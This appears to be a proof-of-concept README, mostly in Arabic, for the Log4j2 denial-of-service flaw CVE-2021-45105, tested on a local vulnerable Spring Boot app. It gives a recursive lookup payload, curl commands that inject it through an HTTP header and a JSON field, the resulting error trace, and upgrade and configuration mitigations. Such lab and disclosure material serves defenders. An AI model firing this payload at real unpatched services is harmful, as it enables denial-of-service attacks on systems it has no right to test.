Log4j2 DOS (CVE-2021-45105)

إثبات الفكرة

${${::-${::-$${::-$}}}}

الإصدارات المتأثرة: جميع الإصدارات من 2.0-beta9 إلى 2.16.0

يعتمد هذا التطبيق على تطبيق ويب Spring Boot قابل للثغرة CVE-2021-45105

يستخدم Log4j 2.16.0

تشغيل التطبيق

قم بتشغيله:

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

خطوات الاستغلال

ثم شغّل الاستغلال باستخدام:

For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'

لاحظ أن المخرجات تُظهر حلقة لا نهائية، لكن أثناء الاختبار لم نجد أن حجب الخدمة (DOS) هذا يستهلك الموارد، إذ يكتشف البرنامج هذه الحلقة اللانهائية ويُنهي التنفيذ بخطأ:

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

التخفيف

يجب على مستخدمي Java 8 (أو إصدار أحدث) الترقية إلى الإصدار 2.17.0.

بدلاً من ذلك، يمكن التخفيف من هذه الثغرة في الإعدادات:

في PatternLayout ضمن إعدادات التسجيل (logging configuration)، استبدل عمليات البحث السياقية Context Lookups مثل ${ctx:loginId} أو $${ctx:loginId} بأنماط Thread Context Map (%X أو %mdc أو %MDC).

وإلا، فقم في الإعدادات بإزالة الإشارات إلى عمليات البحث السياقية مثل ${ctx:loginId} أو $${ctx:loginId} عندما تكون مصادرها خارج التطبيق مثل ترويسات HTTP أو مدخلات المستخدم.

المرجع

https://issues.apache.org/jira/browse/LOG4J2-3230

Log4j_dos_CVE-2021-45105

الأكثر شعبية